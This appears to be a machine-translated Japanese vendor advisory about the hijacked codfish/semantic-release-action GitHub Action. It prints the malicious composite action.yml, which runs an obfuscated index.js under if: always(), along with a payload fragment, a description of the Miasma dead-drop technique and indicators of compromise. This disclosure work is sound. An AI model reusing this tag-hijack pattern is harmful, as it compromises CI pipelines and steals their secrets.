Aikido

改ざんされた GitHub アクション「codfish/semantic-release-action」がCI/CD シークレット盗み出す

執筆者
ハンター・シュワルツ

2026年6月24日、 タラ/セマンティック・リリース・アクション GitHub Actionは、なりすましコミット攻撃によって侵害されました。攻撃者は、2つの悪意のあるコミットをリポジトリに強制プッシュし、フローティングメジャーバージョンのタグを含む16個のタグの参照先をそれらに変更しました。 v2, v3, v4、および v5. これらのタグのいずれかによってこのアクションを参照しているワークフローは、次回のCI実行時に攻撃者のコードを取得して実行してしまいます。

このアクションは、2019年以来、GitHub Actions に Semantic-Release を組み込むための標準的な方法となっており、100 以上の GitHub スターを獲得しています。自動リリースにこれを使用するワークフローは、ほぼ例外なく GITHUB_TOKEN そして、しばしば NPM_TOKEN 「公開」アクセス権限があり、これはまさに攻撃者が侵入したいと望む種類のアクセス権限そのものです。

タグが乗っ取られた経緯

Gitのタグは、デフォルトでは保護されていません。リポジトリへのプッシュ権限を持つユーザーなら誰でも、タグが指すコミットを強制的に変更することができます。また、GitHub Actionsは、ワークフローが実行される瞬間にタグの参照を解決します。タグを遡及的に移動させると、そのタグを参照している今後のすべての実行結果が書き換えられてしまいますが、ワークフローを作成したユーザーにはその旨が通知されません。

攻撃者はこれを悪用して タラ/セマンティック・リリース・アクション 2段階に分けて行われました。最初の悪意のあるコミットでは、15個のタグが取得されました: v2.2.1、v3シリーズ全製品(v3, v3.0.0 から v3.5.0)、v4シリーズ全製品(v4, v4.0.0, v4.0.1)、およびv5シリーズ全製品(v5, v5.0.0). 2番目のコミットは1番目のコミットの直接の子であり、 v2 タグ。どちらのコミットも、バイト単位で同一の index.js ハッシュ値によって確認されたペイロード。

どちらのコミットも、このリポジトリの main 枝。それらは「孤児」として接ぎ木され、その後、疑いを避けるために急いで着飾られた。 git log ざっと目を通すと、最初のコミットは2023年11月9日の実際のコミットの作成者ID、日付、およびコミットメッセージを流用しています:

commit 5792aba0e2180b9b80b77644370a6889d5817456
Author: Chris O'Donnell <1666298+codfish@users.noreply.github.com>
Date:   Thu Nov 9 16:49:48 2023 +0000

    Merge pull request #195 from codfish/force-install

そのメタデータは本物であり、プロジェクトの履歴にある正当なマージから抽出されたものです。しかし、ファイルの内容は悪意のあるペイロードにすり替えられていました。

何が変わったのか action.yml

タラ/セマンティック・リリース・アクション 当初はDockerベースのアクションとして実行され、リポジトリの Dockerfile そして、以下を呼び出して entrypoint.js. 悪意のあるコミットは、 action.yml 代わりに複合動作で:

runs:
  using: composite
  steps:
    - uses: "codfish/semantic-release-action@8f9a58f2acdc190c356f79159b5de2548cdb63cd"
      with:
        branches: "${{ inputs.branches }}"
        # ...remaining inputs passed through unchanged
    - uses: "oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6"
      if: always()
    - name: Cleanup Action
      if: always()
      shell: bash
      run: bun run $GITHUB_ACTION_PATH/index.js

最初のステップでは、依然として実際の現在の タラ/セマンティック・リリース・アクション, クリーンなコミットにピン留めされているため、アクションは正常に動作し続け、ワークフローの実行も成功したように見えます。その直後の2つのステップは、 if: always(), そのため、正当なステップが成功しても、失敗しても、あるいはスキップされても、これらは実行されます。2番目のステップでは、 oven-sh/setup-bun、BunランタイムをCIランナーに導入するためだけに、実在するものの、それ以外には何の関係もないサードパーティのアクションです。3番目のステップではペイロードを実行し、 index.js、および バン・ラン.

リポジトリのオリジナル Dockerfile, entrypoint.js、および entrypoint.spec.js このコミット時点では、それらは依然としてツリー内に残っています。複合アクションではそれらが完全に無視されるため、もはや呼び出されることは一切ありません。古いファイルをそのまま残しておくことで、差分への影響を最小限に抑えることができます。ファイル一覧をざっと目を通しただけでも、アクションの通常の内容が表示され、明らかに欠けている部分はないように見えます。

ペイロード

注入された index.js これは781,580バイトの難読化されたJavaScriptであり、16進数でエンコードされた変数名を持つ文字列配列として構成されており、典型的な商用JavaScript難読化ツールの出力形式となっています:

const _0x307419=_0x42e6;(function(_0xb5d033,_0x1d1124){const _0x23f080={_0x15a6a0:0xf9,_0x3d6efe:0x73a,...

難読化された本文の中に、その文字列が隠されている thebeautifulsnadsoftime, ほぼ一致する 『時の美しい砂』 しかも、1文字の順序が入れ替わっているだけだ。この文字列は、2026年6月10日に公開された「Miasma」という認証情報窃取ツールキットが使用するデッドドロップチャネルの1つを特定するものである。 Miasmaの設計では、従来のC2サーバーが回避されています。このマルウェアは、攻撃者のインフラに接続する代わりに、GitHubの公開コミットAPI 定期的に検索しAPI そのマーカー文字列API 一致するコミットが見つかった場合、添付されたペイロードを署名付きコマンドとして扱い、それを実行します。 eval(). これにより、攻撃者は、独自のインフラを構築・維持することなく、また、通常はアウトバウンドトラフィック監視によって検知されがちなアウトバウンドネットワークトラフィックを発生させることなく、感染したすべてのランナーに対して新たなリモートコード実行を仕掛ける手段を得ることになる。

「ミアズマ」キャンペーンとの関連

同じ 『時の美しい砂』 マーカーはすでに ミアズマ・キャンペーンの活動 以下のディレクトリにある npm パッケージに対して @redhat-cloud-services その影響範囲は、このツールキットによる情報漏洩に関連する他のいくつかのGitHubリポジトリにも及んでいます。このような認証情報を盗むためのフレームワークが一度公開されると、オペレーターは独自のツールを開発することなく実行できるため、急速に広まる傾向があります。 タラ/セマンティック・リリース・アクション このパターンに当てはまり、同じツールキットが新たなリポジトリに導入されたもうひとつの事例です。

方法 Aikido これを検知する

もしあなたが Aikido ユーザーの方は、中央フィードを確認し、マルウェア関連の問題でフィルタリングしてください。これにより、100/100の重大な問題として表示されます。 Aikido は毎晩自動的に再スキャンを行いますが、今すぐ手動で再スキャンを実行することをお勧めします。

まだ Aikido ユーザーでない場合は、アカウントを作成してリポジトリを連携させることができます。マルウェア対策機能は無料プランに含まれており、クレジットカードは不要です。

チーム全体をより幅広くカバーするには、 Aikidoの「デバイス保護」機能を利用すれば、チームのデバイスにインストールされているソフトウェアパッケージを可視化し、管理することができます。ブラウザ拡張機能、コードライブラリ、IDEプラグイン、依存関係、すべてを一元的に管理可能です。マルウェアがインストールされる前に阻止しましょう。

将来に備えて、以下のことを検討してみてください Aikido Safe Chain(オープンソース)の導入をご検討ください。Safe Chainは既存のワークフローに組み込まれ、npm、npx、yarn、pnpm、pnpxの各コマンドをインターセプトし、パッケージを Aikido Intelの基準に照らして検証します。

侵害の痕跡

悪意のあるコミット

  • 5792aba0e2180b9b80b77644370a6889d5817456 (タグ v2.2.1, v3, v3.0.0 から v3.5.0, v4, v4.0.0, v4.0.1, v5, v5.0.0)
  • bcb6b1d409144318e8fad2171d6fe06d02299d1a (タグ v2)

ペイロードのハッシュ

index.js (いずれも悪意のあるコミット): sha256 9f93d77d32833a515bc406c46da477142bb1ac2babeecb6aa42f98669a6db015

その他の指標

  • デッドドロップのマーカー文字列: thebeautifulsnadsoftime
  • Bunランタイムは以下から読み込まれました oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6

影響を受けるタグ

  • codfish/semantic-release-action@v2
  • codfish/semantic-release-action@v2.2.1
  • タラ/セマンティック・リリース・アクション@v3 から v3.5.0
  • codfish/semantic-release-action@v4, v4.0.0, v4.0.1
  • タラ/セマンティック・リリース・アクション@v5, v5.0.0

問題なしと確認されました

  • codfish/semantic-release-action@v1.0.0 から v1.10.0
  • codfish/semantic-release-action@v2.0.0
共有:

https://www.aikido.dev/blog/compromised-github-action-codfish-steals-secrets

マルウェアの検査

無料で始める
CC不要
4.7/5
誤検知にうんざりしていませんか?
10万人以上のユーザーと同様に Aikido をお試しください。
今すぐ始める
パーソナライズされたウォークスルーを受ける

10万以上のチームに信頼されています

今すぐ予約
アプリをスキャンして IDORs と実際の攻撃パスを検出します

10万以上のチームに信頼されています

スキャンを開始
AI がどのようにアプリをペンテストするかをご覧ください

10万以上のチームに信頼されています

テストを開始

今すぐ、安全な環境へ。

コード、クラウド、ランタイムを1つの中央システムでセキュアに。
脆弱性を迅速に発見し、自動的に修正。

クレジットカードは不要です。 | スキャン結果は32秒で表示されます。